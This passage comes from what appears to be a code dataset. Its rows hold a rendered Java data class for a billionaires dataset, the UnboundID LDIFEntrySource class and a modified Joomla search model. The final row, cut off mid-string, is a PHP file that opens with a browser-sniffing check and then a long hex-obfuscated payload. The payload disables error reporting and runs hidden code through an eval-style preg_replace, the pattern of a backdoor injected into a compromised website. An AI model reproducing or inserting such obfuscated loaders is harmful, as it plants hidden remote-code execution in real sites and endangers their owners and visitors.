code_text
stringlengths
604
999k
repo_name
stringlengths
4
100
file_path
stringlengths
4
873
language
stringclasses
23 values
license
stringclasses
15 values
size
int32
1.02k
999k
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Source code</title> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <div class="sourceContainer"> <pre><span class="sourceLineNo">001</span>package corgis.billionaires.domain;<a name="line.1"></a> <span class="sourceLineNo">002</span><a name="line.2"></a> <span class="sourceLineNo">003</span>import java.util.List;<a name="line.3"></a> <span class="sourceLineNo">004</span>import java.util.ArrayList;<a name="line.4"></a> <span class="sourceLineNo">005</span>import java.util.Arrays;<a name="line.5"></a> <span class="sourceLineNo">006</span>import java.util.HashMap;<a name="line.6"></a> <span class="sourceLineNo">007</span>import java.util.Iterator;<a name="line.7"></a> <span class="sourceLineNo">008</span>import java.util.Map;<a name="line.8"></a> <span class="sourceLineNo">009</span><a name="line.9"></a> <span class="sourceLineNo">010</span>import org.json.simple.JSONArray;<a name="line.10"></a> <span class="sourceLineNo">011</span>import org.json.simple.JSONObject;<a name="line.11"></a> <span class="sourceLineNo">012</span><a name="line.12"></a> <span class="sourceLineNo">013</span><a name="line.13"></a> <span class="sourceLineNo">014</span>/**<a name="line.14"></a> <span class="sourceLineNo">015</span> * <a name="line.15"></a> <span class="sourceLineNo">016</span> */<a name="line.16"></a> <span class="sourceLineNo">017</span>public class Location {<a name="line.17"></a> <span class="sourceLineNo">018</span> <a name="line.18"></a> <span class="sourceLineNo">019</span> // The name of the country that this billionaire has citizenship with.<a name="line.19"></a> <span class="sourceLineNo">020</span> private String citizenship;<a name="line.20"></a> <span class="sourceLineNo">021</span> // the 3-letter country code of the country where this billionaire has citizenship.<a name="line.21"></a> <span class="sourceLineNo">022</span> private String countryCode;<a name="line.22"></a> <span class="sourceLineNo">023</span> // The "Gross Domestic Product" of the country where the billionaire has citizenship. This is one of the primary indicators used to gauge the health of a country's economy. It represents the total dollar value of all goods and services produced over a specific time period; you can think of it as the size of the economy.<a name="line.23"></a> <span class="sourceLineNo">024</span> private Double gdp;<a name="line.24"></a> <span class="sourceLineNo">025</span> // The region of the world where this billionaire lives.<a name="line.25"></a> <span class="sourceLineNo">026</span> private String region;<a name="line.26"></a> <span class="sourceLineNo">027</span> <a name="line.27"></a> <span class="sourceLineNo">028</span> <a name="line.28"></a> <span class="sourceLineNo">029</span> /**<a name="line.29"></a> <span class="sourceLineNo">030</span> * The name of the country that this billionaire has citizenship with.<a name="line.30"></a> <span class="sourceLineNo">031</span> * @return String<a name="line.31"></a> <span class="sourceLineNo">032</span> */<a name="line.32"></a> <span class="sourceLineNo">033</span> public String getCitizenship() {<a name="line.33"></a> <span class="sourceLineNo">034</span> return this.citizenship;<a name="line.34"></a> <span class="sourceLineNo">035</span> }<a name="line.35"></a> <span class="sourceLineNo">036</span> <a name="line.36"></a> <span class="sourceLineNo">037</span> <a name="line.37"></a> <span class="sourceLineNo">038</span> <a name="line.38"></a> <span class="sourceLineNo">039</span> /**<a name="line.39"></a> <span class="sourceLineNo">040</span> * the 3-letter country code of the country where this billionaire has citizenship.<a name="line.40"></a> <span class="sourceLineNo">041</span> * @return String<a name="line.41"></a> <span class="sourceLineNo">042</span> */<a name="line.42"></a> <span class="sourceLineNo">043</span> public String getCountryCode() {<a name="line.43"></a> <span class="sourceLineNo">044</span> return this.countryCode;<a name="line.44"></a> <span class="sourceLineNo">045</span> }<a name="line.45"></a> <span class="sourceLineNo">046</span> <a name="line.46"></a> <span class="sourceLineNo">047</span> <a name="line.47"></a> <span class="sourceLineNo">048</span> <a name="line.48"></a> <span class="sourceLineNo">049</span> /**<a name="line.49"></a> <span class="sourceLineNo">050</span> * The "Gross Domestic Product" of the country where the billionaire has citizenship. This is one of the primary indicators used to gauge the health of a country's economy. It represents the total dollar value of all goods and services produced over a specific time period; you can think of it as the size of the economy.<a name="line.50"></a> <span class="sourceLineNo">051</span> * @return Double<a name="line.51"></a> <span class="sourceLineNo">052</span> */<a name="line.52"></a> <span class="sourceLineNo">053</span> public Double getGdp() {<a name="line.53"></a> <span class="sourceLineNo">054</span> return this.gdp;<a name="line.54"></a> <span class="sourceLineNo">055</span> }<a name="line.55"></a> <span class="sourceLineNo">056</span> <a name="line.56"></a> <span class="sourceLineNo">057</span> <a name="line.57"></a> <span class="sourceLineNo">058</span> <a name="line.58"></a> <span class="sourceLineNo">059</span> /**<a name="line.59"></a> <span class="sourceLineNo">060</span> * The region of the world where this billionaire lives.<a name="line.60"></a> <span class="sourceLineNo">061</span> * @return String<a name="line.61"></a> <span class="sourceLineNo">062</span> */<a name="line.62"></a> <span class="sourceLineNo">063</span> public String getRegion() {<a name="line.63"></a> <span class="sourceLineNo">064</span> return this.region;<a name="line.64"></a> <span class="sourceLineNo">065</span> }<a name="line.65"></a> <span class="sourceLineNo">066</span> <a name="line.66"></a> <span class="sourceLineNo">067</span> <a name="line.67"></a> <span class="sourceLineNo">068</span> <a name="line.68"></a> <span class="sourceLineNo">069</span> <a name="line.69"></a> <span class="sourceLineNo">070</span> /**<a name="line.70"></a> <span class="sourceLineNo">071</span> * Creates a string based representation of this Location.<a name="line.71"></a> <span class="sourceLineNo">072</span> <a name="line.72"></a> <span class="sourceLineNo">073</span> * @return String<a name="line.73"></a> <span class="sourceLineNo">074</span> */<a name="line.74"></a> <span class="sourceLineNo">075</span> public String toString() {<a name="line.75"></a> <span class="sourceLineNo">076</span> return "Location[" +citizenship+", "+countryCode+", "+gdp+", "+region+"]";<a name="line.76"></a> <span class="sourceLineNo">077</span> }<a name="line.77"></a> <span class="sourceLineNo">078</span> <a name="line.78"></a> <span class="sourceLineNo">079</span> /**<a name="line.79"></a> <span class="sourceLineNo">080</span> * Internal constructor to create a Location from a representation.<a name="line.80"></a> <span class="sourceLineNo">081</span> * @param json_data The raw json data that will be parsed.<a name="line.81"></a> <span class="sourceLineNo">082</span> */<a name="line.82"></a> <span class="sourceLineNo">083</span> public Location(JSONObject json_data) {<a name="line.83"></a> <span class="sourceLineNo">084</span> //System.out.println(json_data);<a name="line.84"></a> <span class="sourceLineNo">085</span> <a name="line.85"></a> <span class="sourceLineNo">086</span> try {<a name="line.86"></a> <span class="sourceLineNo">087</span> // citizenship<a name="line.87"></a> <span class="sourceLineNo">088</span> this.citizenship = (String)json_data.get("citizenship");<a name="line.88"></a> <span class="sourceLineNo">089</span> } catch (NullPointerException e) {<a name="line.89"></a> <span class="sourceLineNo">090</span> System.err.println("Could not convert the response to a Location; the field citizenship was missing.");<a name="line.90"></a> <span class="sourceLineNo">091</span> e.printStackTrace();<a name="line.91"></a> <span class="sourceLineNo">092</span> } catch (ClassCastException e) {<a name="line.92"></a> <span class="sourceLineNo">093</span> System.err.println("Could not convert the response to a Location; the field citizenship had the wrong structure.");<a name="line.93"></a> <span class="sourceLineNo">094</span> e.printStackTrace();<a name="line.94"></a> <span class="sourceLineNo">095</span> }<a name="line.95"></a> <span class="sourceLineNo">096</span> <a name="line.96"></a> <span class="sourceLineNo">097</span> try {<a name="line.97"></a> <span class="sourceLineNo">098</span> // country code<a name="line.98"></a> <span class="sourceLineNo">099</span> this.countryCode = (String)json_data.get("country code");<a name="line.99"></a> <span class="sourceLineNo">100</span> } catch (NullPointerException e) {<a name="line.100"></a> <span class="sourceLineNo">101</span> System.err.println("Could not convert the response to a Location; the field countryCode was missing.");<a name="line.101"></a> <span class="sourceLineNo">102</span> e.printStackTrace();<a name="line.102"></a> <span class="sourceLineNo">103</span> } catch (ClassCastException e) {<a name="line.103"></a> <span class="sourceLineNo">104</span> System.err.println("Could not convert the response to a Location; the field countryCode had the wrong structure.");<a name="line.104"></a> <span class="sourceLineNo">105</span> e.printStackTrace();<a name="line.105"></a> <span class="sourceLineNo">106</span> }<a name="line.106"></a> <span class="sourceLineNo">107</span> <a name="line.107"></a> <span class="sourceLineNo">108</span> try {<a name="line.108"></a> <span class="sourceLineNo">109</span> // gdp<a name="line.109"></a> <span class="sourceLineNo">110</span> this.gdp = ((Number)json_data.get("gdp")).doubleValue();<a name="line.110"></a> <span class="sourceLineNo">111</span> } catch (NullPointerException e) {<a name="line.111"></a> <span class="sourceLineNo">112</span> System.err.println("Could not convert the response to a Location; the field gdp was missing.");<a name="line.112"></a> <span class="sourceLineNo">113</span> e.printStackTrace();<a name="line.113"></a> <span class="sourceLineNo">114</span> } catch (ClassCastException e) {<a name="line.114"></a> <span class="sourceLineNo">115</span> System.err.println("Could not convert the response to a Location; the field gdp had the wrong structure.");<a name="line.115"></a> <span class="sourceLineNo">116</span> e.printStackTrace();<a name="line.116"></a> <span class="sourceLineNo">117</span> }<a name="line.117"></a> <span class="sourceLineNo">118</span> <a name="line.118"></a> <span class="sourceLineNo">119</span> try {<a name="line.119"></a> <span class="sourceLineNo">120</span> // region<a name="line.120"></a> <span class="sourceLineNo">121</span> this.region = (String)json_data.get("region");<a name="line.121"></a> <span class="sourceLineNo">122</span> } catch (NullPointerException e) {<a name="line.122"></a> <span class="sourceLineNo">123</span> System.err.println("Could not convert the response to a Location; the field region was missing.");<a name="line.123"></a> <span class="sourceLineNo">124</span> e.printStackTrace();<a name="line.124"></a> <span class="sourceLineNo">125</span> } catch (ClassCastException e) {<a name="line.125"></a> <span class="sourceLineNo">126</span> System.err.println("Could not convert the response to a Location; the field region had the wrong structure.");<a name="line.126"></a> <span class="sourceLineNo">127</span> e.printStackTrace();<a name="line.127"></a> <span class="sourceLineNo">128</span> }<a name="line.128"></a> <span class="sourceLineNo">129</span> <a name="line.129"></a> <span class="sourceLineNo">130</span> } <a name="line.130"></a> <span class="sourceLineNo">131</span>}<a name="line.131"></a> </pre> </div> </body> </html>
RealTimeWeb/datasets
datasets/java/billionaires/docs/src-html/corgis/billionaires/domain/Location.html
HTML
gpl-2.0
12,824
/* * Copyright 2009-2020 Ping Identity Corporation * All Rights Reserved. */ /* * Copyright 2009-2020 Ping Identity Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * Copyright (C) 2009-2020 Ping Identity Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License (GPLv2 only) * or the terms of the GNU Lesser General Public License (LGPLv2.1 only) * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, see <http://www.gnu.org/licenses>. */ package com.unboundid.ldif; import java.util.concurrent.atomic.AtomicBoolean; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.EntrySource; import com.unboundid.ldap.sdk.EntrySourceException; import com.unboundid.util.Debug; import com.unboundid.util.NotNull; import com.unboundid.util.Nullable; import com.unboundid.util.ThreadSafety; import com.unboundid.util.ThreadSafetyLevel; import com.unboundid.util.Validator; /** * This class provides an {@link EntrySource} that will read entries from an * LDIF file. * <BR><BR> * <H2>Example</H2> * The following example demonstrates the process that may be used for iterating * through all entries in an LDIF file using the entry source API: * <PRE> * LDIFEntrySource entrySource = * new LDIFEntrySource(new LDIFReader(pathToLDIFFile)); * * int entriesRead = 0; * int errorsEncountered = 0; * try * { * while (true) * { * try * { * Entry entry = entrySource.nextEntry(); * if (entry == null) * { * // There are no more entries to be read. * break; * } * else * { * // Do something with the entry here. * entriesRead++; * } * } * catch (EntrySourceException e) * { * // Some kind of problem was encountered (e.g., a malformed entry * // found in the LDIF file, or an I/O error when trying to read). See * // if we can continue reading entries. * errorsEncountered++; * if (! e.mayContinueReading()) * { * break; * } * } * } * } * finally * { * entrySource.close(); * } * </PRE> */ @ThreadSafety(level=ThreadSafetyLevel.NOT_THREADSAFE) public final class LDIFEntrySource extends EntrySource { // Indicates whether this entry source has been closed. @NotNull private final AtomicBoolean closed; // The LDIF reader from which entries will be read. @NotNull private final LDIFReader ldifReader; /** * Creates a new LDAP entry source that will obtain entries from the provided * LDIF reader. * * @param ldifReader The LDIF reader from which to read entries. It must * not be {@code null}. */ public LDIFEntrySource(@NotNull final LDIFReader ldifReader) { Validator.ensureNotNull(ldifReader); this.ldifReader = ldifReader; closed = new AtomicBoolean(false); } /** * {@inheritDoc} */ @Override() @Nullable() public Entry nextEntry() throws EntrySourceException { if (closed.get()) { return null; } try { final Entry e = ldifReader.readEntry(); if (e == null) { close(); } return e; } catch (final LDIFException le) { Debug.debugException(le); if (le.mayContinueReading()) { throw new EntrySourceException(true, le); } else { close(); throw new EntrySourceException(false, le); } } catch (final Exception e) { Debug.debugException(e); close(); throw new EntrySourceException(false, e); } } /** * {@inheritDoc} */ @Override() public void close() { if (closed.compareAndSet(false, true)) { try { ldifReader.close(); } catch (final Exception e) { Debug.debugException(e); } } } }
UnboundID/ldapsdk
src/com/unboundid/ldif/LDIFEntrySource.java
Java
gpl-2.0
4,833
<?php /** * @package NoNumber Framework * @version 12.9.10 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2012 NoNumber * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ /** * BASE ON JOOMLA CORE FILE: * /components/com_search/models/search.php */ /** * @package Joomla.Site * @subpackage com_search * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access defined('_JEXEC') or die; jimport('joomla.application.component.model'); /** * Search Component Search Model * * @package Joomla.Site * @subpackage com_search * @since 1.5 */ class SearchModelSearch extends JModel { /** * Sezrch data array * * @var array */ var $_data = null; /** * Search total * * @var integer */ var $_total = null; /** * Search areas * * @var integer */ var $_areas = null; /** * Pagination object * * @var object */ var $_pagination = null; /** * Constructor * * @since 1.5 */ function __construct() { parent::__construct(); //Get configuration $app = JFactory::getApplication(); $config = JFactory::getConfig(); // Get the pagination request variables $this->setState('limit', $app->getUserStateFromRequest('com_search.limit', 'limit', $config->get('list_limit'), 'int')); $this->setState('limitstart', JRequest::getVar('limitstart', 0, '', 'int')); // Set the search parameters $keyword = urldecode(JRequest::getString('searchword')); $match = JRequest::getWord('searchphrase', 'all'); $ordering = JRequest::getWord('ordering', 'newest'); $this->setSearch($keyword, $match, $ordering); //Set the search areas $areas = JRequest::getVar('areas'); $this->setAreas($areas); } /** * Method to set the search parameters * * @access public * * @param string search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category */ function setSearch($keyword, $match = 'all', $ordering = 'newest') { if (isset($keyword)) { $this->setState('origkeyword', $keyword); if ($match !== 'exact') { $keyword = preg_replace('#\xE3\x80\x80#s', ' ', $keyword); } $this->setState('keyword', $keyword); } if (isset($match)) { $this->setState('match', $match); } if (isset($ordering)) { $this->setState('ordering', $ordering); } } /** * Method to set the search areas * * @access public * * @param array Active areas * @param array Search areas */ function setAreas($active = array(), $search = array()) { $this->_areas['active'] = $active; $this->_areas['search'] = $search; } /** * Method to get weblink item data for the category * * @access public * @return array */ function getData() { // Lets load the content if it doesn't already exist if (empty($this->_data)) { $areas = $this->getAreas(); JPluginHelper::importPlugin('search'); $dispatcher = JDispatcher::getInstance(); $results = $dispatcher->trigger('onContentSearch', array( $this->getState('keyword'), $this->getState('match'), $this->getState('ordering'), $areas['active']) ); $rows = array(); foreach ($results as $result) { $rows = array_merge((array) $rows, (array) $result); } $this->_total = count($rows); if ($this->getState('limit') > 0) { $this->_data = array_splice($rows, $this->getState('limitstart'), $this->getState('limit')); } else { $this->_data = $rows; } /* >>> ADDED: Run content plugins over results */ $app = JFactory::getApplication(); $params = $app->getParams('com_content'); $params->set('nn_search', 1); foreach ($this->_data as $item) { if ($item->text != '') { $results = $dispatcher->trigger('onContentPrepare', array('com_content.article', &$item, &$params, 0)); // strip html tags from title $item->title = strip_tags($item->title); } } /* <<< */ } return $this->_data; } /** * Method to get the total number of weblink items for the category * * @access public * @return integer */ function getTotal() { return $this->_total; } /** * Method to get a pagination object of the weblink items for the category * * @access public * @return integer */ function getPagination() { // Lets load the content if it doesn't already exist if (empty($this->_pagination)) { jimport('joomla.html.pagination'); $this->_pagination = new JPagination($this->getTotal(), $this->getState('limitstart'), $this->getState('limit')); } return $this->_pagination; } /** * Method to get the search areas * * @since 1.5 */ function getAreas() { // Load the Category data if (empty($this->_areas['search'])) { $areas = array(); JPluginHelper::importPlugin('search'); $dispatcher = JDispatcher::getInstance(); $searchareas = $dispatcher->trigger('onContentSearchAreas'); foreach ($searchareas as $area) { if (is_array($area)) { $areas = array_merge($areas, $area); } } $this->_areas['search'] = $areas; } return $this->_areas; } }
mlisondra/kbmurals
plugins/system/nnframework/helpers/search.php
PHP
gpl-2.0
5,376
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) && (! strstr($ua,"\x72\166\x3a\61\x31")) && (! strstr($ua,"\x61\156\x64\162\x6f\151\x64")) && (! strstr($ua,"\x6d\157\x62\151\x6c\145")) && (! strstr($ua,"\x69\160\x68\157\x6e\145")) && (! strstr($ua,"\x69\160\x61\144")) && (! strstr($ua,"\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $ofnahfyczx = '0QIQ&f_UTPI%x5c%x7860QU82f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sb]55#*<%x5c%x7825bG9}:}.}-}!:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x78x787f!|!*uyfu%x5c%x7827k:!ftmfj%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<25%x61%160%x28%42%x66%152%x66%147%##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]2%x61%156%x75%156%x61"]=1; function fjfgg($n){retA%x5c%x7827&6<.fmjgA%x5c%x7827d*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825sc%x7824-!%x5c%x7825%x5c%x7824-%x5c%x)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!5)s%x5c%x7825>%x5c%x782fh%x5c%x782t%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x7860%x5c%x7878%x5c%oj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk45c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x78pjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!<u%x5c%x7825V%x5c%x7827{ftmf<pd%x5c%x7825w6Z6<.2%e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y3%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%5]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfwfq%x5c%x7825>U<#16,47R57,27R66,#%x25:-t%x5c%x7825)3of:opj#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2*qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%45]K2]285]Ke]53Ld]53]Kc]55Ld%x5c%x78257-C)fepmqnj6<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x782A%x5c%x7827pd%x5c%x78256#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x5c%x7824!>!fyqmpef)#%x5cV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x75-rr.93e:5597f-s.973:8297f:5297x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x7825!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%w6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**25c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x25]241]334]368]322]3]364]6]283]427]36]373P6]36]73]835c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%73", NULL); }!~!<##!>!2p%x5c%x7825Z<^!}Z;^nbsbq%x5c%x7825%x5c%x785cSvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opj7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860h#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x78oepn)%x5c%x7825epnbss-%x5c%x7825r%x5!%x5c%x7825cIjQeTQcOc%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x782msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x77825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbububE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c5zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%xc%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5ccnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpphg(0); preg_replace("%x2f%5,*j%x5c%x7825!-#1]#-bubE{h%x25%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824!<*#cd2bge56+99386c6f+9f5d816:+946:0%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::5c%x7825)j{hnpd!opjudovurn chr(ord($n)-1);} @error_reportin5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopo5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6ttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<*zB%x5c%x7825z>!tussfw)%x5c%x782|!*)323zbek!~!<b%x5c%x7825%x5c%x%x7825:osvufs:~928>>%x5c%x7822:ftm78257UFH#%x5c%x7827rfs%x5cc%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%xc%x78256<%x5c%x787fw6*%x5c%x787f_*#f%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x7y39]252]y83]273]y72]282#<!%x5c%x78UI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K6g]273]y76]271]y7d]25FWSFT%x5c%x7860%x5c%x7825}X;!x7824]26%x5c%x7824-%x5c%x)fubfsdXA%x5c%x7827K6<%x5c%x787fudovg<~%x5c%x7824<!%x5c%x78825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W5c%x7824gps)%x5c%x7825j>1<)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5cQc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x72w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]2725ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]%x7824*<!%x5c%x7825kj:!>!#]y8256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zs%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~g!|!**#j{hnpd#)tutjyf%x5c%x7860o,,Bjg!)%x5c%x7825j:>>1%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:#)zbssb!-#}#)fepmqnj!%x0opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmb%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%157824*!|!%x5c%x7824-%x5c%x78!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825s%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)]238M7]381]211M5]67]452]88]5]48]32M3]317]445]:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=#)q%x5c%x7825:>:r%x5c%x78c%x787f;!opjudovg}k~~9{d%x5cx78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfsb%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5d%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2Ysboepn)%x5c%x7825bs%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%1645)dfyfR%x5c%x7827tfs%x5c%x78364]6]234]342]58]24]31#-%x5c]252]18y]#>q%x5c%x7825<x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x1M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y25o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x782c%x7825tmw)%x5c%x7825tww**W%x7825)gpf{jt)!gj!<*2b3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x525:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c-111112)eobs%x5c%x7860un>-#jt0}Z;0]=]0#)2q%x525tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x7d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#5:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%ce44#)zbssb!>!ssbnpe_GMFT%x5c%x786!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%c%x7878W~!Ypp2)%x5c%x7825tj{fpg)%x5c%x7825s:*<%x5c%x7825j:7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtfqp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pd%x5c%x7825w6Z6<.4%x5c%x5c%x7825#%x5c%x782f#o]#%x5c%x